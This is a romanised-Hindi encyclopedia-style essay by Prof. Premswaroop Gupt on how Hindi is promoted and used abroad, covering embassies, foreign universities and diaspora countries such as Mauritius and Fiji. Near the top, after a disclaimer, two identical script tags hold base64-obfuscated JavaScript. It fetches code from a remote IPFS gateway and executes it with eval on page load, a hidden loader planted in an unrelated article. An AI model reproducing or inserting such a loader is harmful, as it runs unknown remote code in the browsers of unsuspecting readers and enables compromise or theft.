विदेशों में हिन्दी:प्रचार-प्रसार और स्थिति के कुछ पहलू -प्रेमस्वरूप गुप्त
| chitr:Icon-edit.gif | yah lekh svatantr lekhan shreni ka lekh hai. is lekh mean prayukt samagri, jaise ki tathy, aank de, vichar, chitr adi ka, sanpoorn uttaradayitv is lekh ke lekhak/lekhakoan ka hai bharatakosh ka nahian. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- lekhak- pro. premasvaroop gupt
santosh hi karana ho to yah bat kam nahian ki hindi vishv ke tis se adhik deshoan mean padhi-padhaee jati hai, lagabhag 100 vishvavidyalayoan mean usake lie adhyapan keandr khule hue haian. akele amarika mean lagabhag 20 keandroan mean usake adhyayan adhyapan ki vyavastha hai. m aaurishas, phiji, soorinam, trinidad jaise deshoan mean bharat mool ke nivasiyoan ki ullekhaniy sankhya hone ke karan vahaan hindi svatah sasneh pracharit hota hai. vishv ke pratyek pramukh desh mean hamare dootavas haian, jinase rajanitik sandarbhoan ke atirikt yah bhi asha ki jati hai ki ve hindi ke prachar prasar ki or bhi dhyan deange aur apane bharat ki samajik sanskriti aur bharat ki rashtrabhasha hindi ka pratinidhi samajheange. par yadi yah chitr utana hi sach hota jitana rangin lag raha hai, to santosh karane mean koee buraee n thi.
videshoan mean hindi ke mahatv, prachar evan prasar ki sthiti n sab jagah ek si hai, n aisa hona sanbhav hai. m aaurishas, phiji, soorinam, trinidad mean hindi ke lie vahaan ki janata ke ek b de bhag mean jo adar aur prem hai, vah yoorop ya amerika ke deshoan mean kaise mil sakata haighh isalie videshoan mean hindi ki sthiti, prachar prasar ki samasyaoan ke bhi vividh roop hai, unake samadhan bhi vividh roopoan mean khojane hoange.
videshoan mean hindi ki sthiti, prachar tatha prasar ko lekar do bhinn drishtiyoan se vichar karana hoga. ek drishti hai jo sarakari tantr se ju di hai, doosari hai jisaka sanbandh jan jivan mean hai. pahale sarakari tantroan ki drishti se videshoan mean hindi ki sthiti ka jayaja liya jae.
pahale apane sarakari tantr ki drishti se jahaan tak tathyagat sthiti hai, hamare dootavas sachche arthoan mean n to bharat ki samasik sanskriti ke sanvahak ban pae haian, nahi bharat ki rashtrabhasha ke pratinidhi. unake lie adhikariyoan ka jo chunav hota hai usamean bhi is drishti ko anivaryatah keandr mean nahian rakha jata. ghar mean hi jab hindi ka mamala rajaniti ke pach de mean ulajh gaya ho, to hamare dootavasean par usaki chhaya n ho, yah ho bhi kaise sakata haighh samanyatah un deshoan mean jahaan ki bharatavanshiy logoan ki sankhya achchhi khasi hai aur vahaan hindi aur bharatiy sanskriti ke lie lalak bhara anurag hai, aise hi pratinidhiyoan aur adhikariyoan ka chayan hota raha hai, jo bharatiy sanskriti aur hindi ke anuyayi hoan, udaharan ke lie maॅrishas mean daॅ. bhagavatasharan upadhyay jaise logoan ko bheja jana isi drishtikon ka parichayak tha. kiantu yooropiy, amarika tatha arab deshoan ke lie pratinidhi bhejane hue in batoan ki or dhyan rakhana apekshit nahian mana jata raha. parinam yah raha hai ki in kshetroan mean hamare dootavas pashchimi rangoan mean range, hindi ka nam bhi yada kada prasangik roop mean lete hue, hindi ke prachar prasar se sarvatha niahsang rahe haian. kahian koee apavad bhale mil jae. atah is koti ke dootavasoan mean samanyatah hindi ki pratishtha ya prachar.prasar ka vastavik roop ubhar hi nahian paya ho. haan, roos jaise katipay samvadi deshoan mean bharat se usaki apani bhasha ko aangreji se variyata die jane ki apeksha ki gi to vahaan ke hamare dootavasoan ne avashy is or jagaruk rahane ki avashyakata samajhi. bat ab phir shithil p d gee hai aur adhikaanshatah kary vyapar aangreji ke madhyam se hi hota hai, hindi ke madhyam se nahian. kahian kahian hindi ke anuvad sath me lagae ja rahe haian, par simit roop mean hi.
hamare dootavas jin deshoan mean hai unaki sarakaroan ke sath kary-vyavahar mean hindi ka upayog karean- yah sthiti kalpana se kafi door ki hai. prayah yah sthiti hai ki hamar desh se jane vale bharatiy logoan ko apane dootavasoan se sanpark karane ke lie aangreji ka hi upayog karana p data hai. in logoan mean bhi aise logoan ki sankhya bhi adhik nahian hoti, jo hindi mean kam lene mean gaurav anubhav karate hoan. par kuchh log aise bhi hote haian, jinhean aangreji achchhi tarah nahian ati. ve apane dootavasoan se yadi hindi ke madhyam se sanpark sahayata chahean to unhean kathinaee hi hoti hai.
ab is pahaloo par vichar kiya jae ki videshoan ki vividh sarakaroan ki or se hindi ke prati kaisa ravaiya hai, aur kin sandarbhoan mean hindi ki kya sthiti hai. jahaan tak sarakaroan ka bharatiy dootavasoan ya bharat ke sath sidhe sanpark mean hindi ke prayog ki bat hai, unhean is bat ki anivary avashyakata pratit hi nahian hoti. unaka kam adhikaanshatah hindi se nahian aangreji se chalata hai. jo desh aangreji bhavi nahian haian, aur apani bhasha par bal dete haian, ve mukhyatah apani bhasha ka, sath me aangreji ka yada kada hindi ke anuvad ke sath prayog karate haian. hindi anuvadoan ka prayog bahut hi simit matra mean, kahie nagany hota hai. haan kuchh mamaloan mean hindi anuvad sath mean lagane ka pratibandh hai, un sandarbhoan mean use laga diya jata hai.
bharat ke svatantr hote hi b de b de deshoan ne bhi ye anubhav kiya tha ki vishv ke is b de bhoobhag se sanpark karane ke lie unhean hindi ki avashyakata hogi. bharatiy sanvidhan mean vyavastha ki gee thi ki 15 varshoan mean hindi aangreji ka sthan le legi. atah unhean bhi yah abhas hua tha ki is desh se nikat sanpark banane ke lie unhean hindi ki or ana p dega. phalatah vibhinn pramukh deshoan ki sarakaroan ne apane vishvavidyalayoan mean hindi ke adhyayan adhyapan ki vyavastha aur suvidha ki or dhyan diya. apane chhatroan ko chhatravrittiyoan pradan kar hindi padhane ke lie bharat bhi bheja. yahaan se bhi adhyapak bulae ge ya yah silasila kuchh n kuchh ab bhi jari hai, par vah lalak nahian rahi. unhean saph dikhaee de raha hai ki bharat mean vah sthiti kalpana se bhi door, pichhe dhakeli ja chuki hai, jisamean hindi ekamatr desh ki rashtrabhasha aur sanpark bhasha banegi. jab aangreji yahaan sthayi roop se jamati dikhaee de rahi ho to koee rashtr apane yuvakoan ke shram aur apane paise ko hindi ke lie kya vyay karega. sidha saval upayogita ka hai.
par sarakari sandarbhoan se hatakar mahatvapoorn evan vikasit rashtroan mean hindi ki upayogita kuchh any drishtiyoan se bhi hai. bharat ke svatantr hone se pahale se hi anek rashtr is desh ki sanskriti aur sabhyata ko samajhana chahate rahe haian. svatantrata poorv ke karan kuchh aur the, ab kuchh aur haian.yah bad doosari hai, par vishv ki janasankhya ke ek b de bhag ko samajhane ki koshish vikasit rashtr n karean.yah aj ke sandarbhoan mean sarvatha asanbhav hai. aj ki rajaniti sidhe sarakaroan ke bich bhi chalati hai, sarakaroan aur janata ke bich se bhi chalati hai. prem, sah sanbandh, rajanitik sanbandh ke lie hi nahian, l dane ke lie bhi doosare desh ki bhasha sikhane ki avashyakata hai. isaka udaharan hindi ke sandarbh mean chin ka hai. bharat-chin yuddh ke samay yah samane aya tha ki chin ne apane anek sainikoan ko ek avashyak matra mean hindi ka prashikshan diya hua tha. to apane apane svarthoan arthoan ko dhyan mean rakhakar vibhinn vikasit rashtr apane yahaan hindi ke pathan pathan ki vyavastha karate hai. kuchh bharat ko samajhane ke lie, kuchh bharat se upayogi sandarbhoan ke lie, kuchh bharat se prem ke lie.
jin videshi vishvavidyalayoan me hindi adhyayan-adhyapan ki vyavasthaean haian, unaki arthik vyavastha bhale hi un deshoan ki sarakaroan ki or se hoti ho, par anekanek videshi hindi vidvan hindi aur bharatiy sanskriti ke anurag mean itane ram ge haian ki unhoanne apani jivanacharya ko hi hindi ke prati samarpit kar liya hai. unamean itana sachcha aur gahara hindi anurag hai ki ye hindi ka kam hi nahian karate balki jab jab hindi is desh mean badhati hai, unamean prasannata hoti hai, jab jab hindi pichhe dhakeli jati hai, unhean pi da hoti hai. hindi ke in anuragi videshi vidvanoan ke prati yah desh kritajn hai. oopar ki charchit sthiti arab rashtroan mean nahian dikhaee deti. unaka jhukav avashyakata ki matra ke anuroop urdoo ki or hua hai, hindi ki or nahian. par isaka labh is desh ke un logoan ko bhi barabar milata hai, jo in rashtroan mean vyapar, naukari ya any sandarbhoan se ge haian. urdoo svaroopatah hindi se door hokar bhi bahut door nahian ja pati, atah likhit roop mean chahe ne sahi, bolachal ke star par usaka labh hindi.urdoo donoan ke logoan ko vahaan saman roop se milata hai. tisare varg mean ve desh ate haian jahaan bharat ke mool nivasi b di sankhya mean base hue haian, jaise marishas, phiji soorinam, trinidad adi. in deshoan mean hindi jo rajakiy ashray simit roop mean hi prapt haian. apani janasankhya ke adhar par bharatiy jitana pratinidhitv apane desh ki sarakar mean le pate haian, usi anupat mean ye hindi ko uthane ki bat kar pate haian. ab rajanitik jo d to d mean bharatavanshiyoan ki yah shakti bhi bikhar jati hai to hindi ko kisi ooanchaee tak utha le jana vahaan bhi sanbhav nahian hai. sarakari tantr in deshoan mean niche ke star par hindi shiksha ki vyavastha karata hai. uchch shiksha aur rajakiy prayog ke lie hindi ko grahan kie jane ka abhi saval hi paida nahian hua.
is prakar prashaasakiy staroan par videshoan mean hindi ki jo bhi vyavastha hai usaka adhikaansh har desh ki apani apani najar ke upayogita ke karan haian. usamean bharat sarakar aur bharatiy dootavasoan ka yogadan bahut hi simit hai. haan, marishas, phiji adi deshoan mean bharatiy prashasan aur dootavasoan ke hindi protsahan vishayak yogadan ko avashy dhyan rakhana hoga.
yahaan is bat ka vivechan bhi avashyak hai ki prashasakiy madhyamoan se hindi ke adhyapakoan aur vidyarthiyoan ka jo adan pradan hota hai, usaki kya sthiti hai ghh vibhinn desh kuchh any adhyapakoan, kuchh vidyarthiyoan apane vyay par hindi sikhavane ke lie bharat bhejate haian. kuchh vidyarthi bharat ki chhatavrittiyoan par vinimay yojanao ke bhitar bhi ate haian. aise hindi adhyetaoan ka hindi shikshan adhikaanshatah shiksha ke keandriy hindi sansthan ke madhyam se diya jata hai, kuchh ko katipay vishvavidyalay me avantit kar diya jata hai. kuchh desh kuchh nishchit avadhi ke lie bharat se hindi adhyapakoan ka chayan karake amantrit karate haian aur apane yahaan hindi shikshan ki vyavastha karate hai. bheje jane vale hindi adhyapako ke chayan ki prakriyaean shasakiy tantr se gujarati huee aisi ban geean hai. ki jo log jate haian, unamean shmishanari spiritashh bahut kam aur videsh jane ka chaans pane ki lalak adhik kam karati hai. sahi kshamatao ke lagoan ka chayan aj vaise hi kathin ho gaya hai. ab rahi un logoan ki bat jo hindi sikhane bharat ate haian, inamean se jo vishvavidyalayoan se bheje jate haian, unamean sahi shiksha isalie nahian pahuanch pati ki vishvavidyalayoan mean hindi ko adhunik vaijnanik pranaliyoan se dvitiy bhasha ke roop mean padhane ki paddhatiyoan ka sahi vikas nahian hua. aur keanndriy hindi sansthan isalie sahi uttaradayitv ka vahan nahian kar pata ki vah shikshan prashikshan pranali ki abhasi vaijnanikata mean ulajh gaya hai. par jo bhi hai, yahi ek matr vyavasthit sanstha hai jahaan vaijnanik paddhati se videshiyoan ko bharat mean hindi padhane ki vyavastha ayojit hai.
sab milakar prashasakiy sandarbhoan ke sath ju dakar hindi ki dasha videshoan mean utani utsahavardhak nahian, utani santoshajanak nahian, jitani honi chahie. bharat mean sanvaidhanik aur shasakiy star par hindi ki jo sthiti hai, usamean jo shaithily hai ya jo utsah hai. donoan ki chhaya videshoan ke prashasakiy tantr se vikasit hone vali hindi sthiti par p dana asvabhavik nahian hai.
yah roop 'vishv hindi' ka kaha ja sakata hai, par vyavahar ke kshetr mean hindi ki ek apani duniya hai, jo apane atm bal par vikasit ho rahi hai. bhasha ki sahi shakti sarakar nahian hoti, usaki bolane vali janata hoti hai. aie hindi ki is duniya ka, 'vishv hindi' ka nahian, apitu 'hindi vishv' ka roop dekhean.
bharat mean hindi bolane valoan ki sankhya nirantar badh rahi hai. is drishti se urdoo bhashi log bhi hindi vishv ki paridhi mean hi ate haian. bharat mean hindi chahe sarakari star par ekamatr sanpark bhasha n ban pae, par un prasangoan par jahaan desh ke vibhinn praantoan mean vibhinn prakar ke vargoan ke log ju date haian, vahaan yah sthiti dekhane ko milati hai. yadi yah uchchavargiy logoan ka sammelan hai to prayah aangreji sanpark bhasha ke roop mean kam karati hai, svalp sa prayog hindi ka chalata hai, par yadi milan lok jivan se ju de logoan ka hua to hindi apane ap sanpark bhasha ka roop le leti hai. bharat ke kisi bhi bhag mean jaie, yadi milane vale log uchchavargiy ya uchchabhasivargiy nahian haian to ek bhashabhashi se any bhashabhashiyoan ke milan ki sanpark bhasha prayah hindi milegi. sainik jivan mean, rel yatraoan me, tirth sthanoan mean, chhatr sammelanoan mean, prakritik aitihasik darshaniy sthaloan mean, bazaroan mean apako is hindi vishv ki kshamata aur upayogita ka pata chal sakega. yah sthiti nirantar vikasit ho rahi hai. bharat mean hindi bolane valoan ki, hindi samajhane valo ki, aur hindi ko vyavaharik jivan mean upayog karane valoan ki sankhya nirantar badh rahi hai.
yahi vikasashil sthiti hindi ke lie videshoan se bhi hai. videshoan mean hindi ka upayog mukhyatah bharatavanshiyoan ke dvara hota hai. is drishti se videshoan ko tin vargoan mean rakha ja sakata hai. pahala varg vah jisamean bharatiy, phiji soorinam, trinidad jaise desh rakhe ja sakate hai, jahaan bharatavanshiy log bhari tadad me bas rahe haian. ve log kamakaj ko lekar in deshoan mean ge the, iname bharat ki sanskriti aur bharat ki hindi se sachcha anurag hai, usase jude़ rahane ki lalak hai. ye log jo hindi bolate haian, prayog mean late haian, vah kh di boli hindi nahian hai. par likhaee padhaee ke lie ve manak hindi ki or hi badh rahe haian.
doosare varg mean ve desh hai jahaan ki bhasha urdoo hai ya jahaan urdoo bhashi janata ki pahuanch hai. in kshetroan mean yadi bharatiy hindi bhashi milate haian to jo bhasha sanpark-bhasha ke roop mean madhyam banati hai, us hindi se bhinn nahian kaha ja sakata. arab rashtroan mean bharat aur pakistan donoan hi deshoan ke kam dhami log ge haian. inaki parasparik sanpark bhasha prayah hindi hoti hai.
tisare varg mean yoorop amarika adi ve vikasit rashtr rakhe ja sakate haian, jahaan bahut b di sankhya mean bharat ke log bas bhi ge haian aur asthayi roop mean ja bhi rahe haian. in logoan mean yadi kisi praant vishesh ya kshetr vishesh ke log paraspar milate hai. to apani kshetriy bhasha ka prayog karate haian. par yadi vibhinn bharatiy bhashabhashi milate haian to sanpark bhasha prayah hindi hoti hai. udaharan me taur par amarika, kanada mean gujarati-bhashi kafi sankhya mean base haian. yadi gujarati log paraspar mileange to aranbhik sanpark aangreji mean hone ke bad sanpark aur batachit ki bhasha gujarati ho jaegi. par yadi gujarati aur tamil bhashi ya gujarati aur malayalam bhashi mileange ya ekadhik bharatiy bhashaoan ke bolane vale mileange to vyaktigat sanpark bhasha adhikaanshatah hindi ban jaegi. bharat mean aangehreji jnan vijnan ki bhasha ke roop mean utani nahian, jitani pratishthabhas ki bhasha ke roop mean pratishthit hai. yahi sthiti videshoan mean bharatiy ke parasparik milan ke samay bhi kuchh kuchh ubhar ati hai. par is abhas se mukti milate hi sanpark bhasha hindi banati hai. yahi bat bharat pakistan ke logoan ke parasparik milan par hoti hai. pratishthabhasi star par aangreji chalane ke bad atmiy sammilan us hindi mean hota hai jo bharat aur pakistan ki vastavik boli hai, jisamean sanskrit arabi pharasi ki asahaj roop mean thooansi nahian jati, sahaj shabdavali sahaj roop mean boli samajhi jati hai.
bharat mean uchch aur uchchabhasi vargoan ki sanpark bhasha aangreji hai jinaki sankhya 3 pratishat se adhik nahian hai. lok jivan apani apani praantiy kshetriy bhashaoan mean chalata hai, vastavik lok sanpark hindi ke madhyam se chalata hai. isi prakar videshoan mean bharat aur pakistan ke nivasiyoan ke parasparik milan prasangoan mean uchch aur uchchabhasi vargoan ke logoan ke milan par aangreji chalati hai, ek bhashi sanparkoan mean kshetriy bhasha, ekadhik bhashi sanparkoan mean hindi kul milakar 20 se adhik aangreji ka upayog ye log nahian karate. hindi janane vale vyakti ko is phaili huee hindi ki duniya mean, aangreji n janane par bhi, koee kathinaee nahian hoti. saik doan log bharat se kisi bhi pradesh ki bhasha ke bolane vale, vikasit deshoan mean kahian kam ke lie chale ja rahe haian. hindi unake lie madhyam ka kam kar rahi hai aur ve apana kam kar rahe haian.
hindi ki is duniya ki, is 'hindi vishv' ki janasankhya kam nahian hai. vishv mean is drishti se hindi ka sthan tisara hai. par iandoneshiya, java, sumatra tatha un muslim bahuly deshoan mean jahaan urdoo boli samajhi ja sakati hai, hindi ke bolane samajhane mean adhik kathinaee nahian ati. is drishti se 'hindi vishv' ki drishti mean urdoo hindi ka hi ek roop banati hai aur hindi vishv ki sthiti aangreji ke bad ati hai. urdoo ka vyakaranik dhaancha, usaki adharabhoot shabdavali aur usaki muhavare dani hindi vishv ki sima ke bahar ki n thi, n abhi hai.
yah vishal hindi vishv vibhinn deshoan mean phaila hua hai, par bikhara p da hai. isaki shakti kshina p di hai. ise sanjona hoga.
hindi ka itihas batata hai ki sarakari mashin ki bhasha banakar vikasit vahian huee, lok jivan ki bhasha banakar badhi hai. usaka sahi sanbal lok hai, usaki sahi j dean lok mean haian. prashasan se hindi ko pratishthit karane ki maang karate samay hindi ke tathakathit premi yah bat bhool jate haian. apani nishkriyata aur hindi ke lie atmatyag ki kami ko chhipane ke lie isase achchha nuskha aur koee nahian hoga ki hindi ki unnati ka sara jimma sarakar par dal diya jae aur sanvidhan ki dharaoan ki rat lagaee jae. shvishv hindi8 ko isaki zaroorat hogi, shhindi vishvashh ko isaki zaroorat nahian. use to nishchhal lokakalyan kami mahatmaoan ki zaroorat hai.
hindi manaviy moolyoan ki bhasha ke roop mean vikasit huee hai. usake vikas ke mool mean lok ke jivant tatvoan ko prasphurit karane aur lok mangal ke virodhi tatvoan se sangharsh karane ki ag rahi hai. usamean manaviy sanskriti ke udar moolyoan aur prem, karuna aur udarata ke git gane ki vritti rahi hai. jin viroan aur santoan ne, jin bhaktoan aur mahatmaoan ne ise panapaya aur phailaya hai, unamean desh ke har bhag ke log the, har majahab ke log the, har juban ke log the. dharm, jati, praant, ooanch-nianch, pooanji, prashasan sabaki chhaya se mukt udatt chetanaoan ne hindi ko kh da kiya, ek bhasha kh di karane ke lie nahian udatt manaviy moolyoan ke roopayan ke lie, manaviy chetana ko manav jivan ke har pahaloo se joojhane ke lie, hindi mean aj bhi vah shakti atma ke roop mean pratishthit hai. manavata ke kalyan ke lie usaka prachar prasar aj akele bharat ke lie nahian, vishv ke apane hit mean hai.
hindi ko uthane ki maang karate samay loloan ke man mean yah kamana rahati hai ki hindi ke rajabhasha banate hi hindi valoan ko prashasakiy tantr mean vishesh adhikar sthan mil jaeange, tabhi usaka virodh hota hai. tab pratishthakami pratishtha ke lie aangehraji ko pak dana hai. hindi heyata ki, hin bhavana ki sanvahika banakar rah jati hai. hindi vishv, bharat mean hi nahian, videshoan mean bhi, is hin sthiti ka shikar hai. avashyakata is bat ki hai ki hindi vishv ko sanjoya jae, use yah anubhav karaya jae ki hindi ek pratishtha ki bhasha hai, isalie nahian ki vah shasan prashasan ki bhasha hai, apitu isalie ki vah udatt manav moolyoan ki sanvahika bhasha hai. moolyoan ke girate bazar mean vishv ko achchhe moolyoan ki chij dene ki kshamata hindi mean hai, aur hindi vishv is uttaradayitv ki bhasha ka sanyojan hai, is atm gaurav ko jagane ki aj sabase b di avashyakata hai. atmagaurav ki anubhooti se sanpann hindi vishv hindi ki manav moolyoan ke lie atm tyagavali vritti ko apanaya hua vishv kalyan ke kshetr mean bhari yog de sakega. atah vishv hindi ki is bhavana ko bharat mean bhi vikasit karana hoga aur videshoan mean bhi. videshoan mean hindi ke prachar prasar ki bat karate samay is bat ki or pramukh dhyan dekar chalana hoga.
tika tippani aur sandarbh
sanbandhit lekh
| kramaank | lekh ka nam | lekhak |